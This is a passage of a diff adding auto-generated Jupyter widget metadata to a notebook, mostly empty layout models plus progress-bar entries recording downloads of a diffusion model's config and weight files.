+            "layout": "IPY_MODEL_4a3c28369fc14bbebdc749d0b3a5747b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_be72ef0e4b8840608fd9160a6b43075d",
+            "value": "Downloading (…)8e6a/vae/config.json: 100%"
+          }
+        },
+        "6ea8901001af4f2aa0039b18f5e758a4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6f88f6e516064ed1a82e1d69742d324c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f1a22eae63cb4eb982a02ccd11422014",
+            "max": 920,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_aac46407f5d74ebbb6a58b10de9b86f4",
+            "value": 920
+          }
+        },
+        "6f9f95e2d503403f83be05364b4199cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "6fbeaf60da4746b6a1c02a211657886b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7010861902ab409e9a4f65efad33683c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c30088b9866c429fa513397b03d2e3c8",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f48a988402a947a098ed14bfd0dc9a53",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "7016696c087c4b3d85d5928cca064add": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7301b1053b6446da9756caeb59d5be8b",
+            "max": 3438167540,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_94fba57a53d04861ab5a889193d27f83",
+            "value": 3438167540
+          }
+        },
+        "7027773c6c484afa9ee32448a320f948": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7035d48a0c874fe7b7bd20c6b03bdf85": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "707ce79ce0da4f35ad6b8f636d2901f8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "713f6c4e65a5418481d59fb756bd043c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "719559db7a7943fbb823795a1697a10c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "71b5693eda974ad78235b59d848304ab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "71ee3795a28a4776bdb13f68f11ffaaa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_af113f9b9b1749f0a856b3f371f03a2d",
+              "IPY_MODEL_83cb84140f504cdaa6d5ed308baaa9bf",
+              "IPY_MODEL_f81e6ba8c0ee4d19afc1691be3650a94"
+            ],
+            "layout": "IPY_MODEL_8bc53de7028e4a05bc683a6f47548d62"
+          }
+        },
+        "7267e3d447ef4dfa97c3fc6a560ea797": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "72d25c37112c403eaf801833a03a47b2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "72fb9eafc22a4533a62e3189f3b65b04": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_febabb96db10490f835e4c5f6512ea61",
+              "IPY_MODEL_5fc991cde70546d3a665982956cca6b5",
+              "IPY_MODEL_f5e6af9d73ed4f3d9726bffba48540ee"
+            ],
+            "layout": "IPY_MODEL_7027773c6c484afa9ee32448a320f948"
+          }
+        },
+        "72fc016402374ad996a292470fa75906": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7301b1053b6446da9756caeb59d5be8b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7427e45c55994a6fa304d6d58ffeb1fb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "743a58e2430947808aac30953973ec71": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a56166c024494356bc1b9a9e9a434c86",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e404d2f75cdc4a9397c82bca53ca3fad",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "745c74b4ac1942c497d0bee51b2e7b17": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "74702e35e09048eabfb470dc85fb5be4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d6a728463cce43d2a0c8573e5faf2dde",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e59d5e76445943c39cdb32721727d3e8",
+            "value": " 547/547 [00:00&lt;00:00, 7.79kB/s]"
+          }
+        },
+        "75837fa1f8ed4a7b8734f0c49e3bb6d0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7669fb4960904becb83cbdc4169a121b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7699034aeb584f12864aaa30a7f2e6b5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "77a73421b7ae4bfe9fcb87353a121402": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "77ad5edb54bb4e30bdd82186e80367c8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "783dca59f6a54589b6fb848cb13c5f3f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "78493887a0f5466cbfe8dff7f5fbd801": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
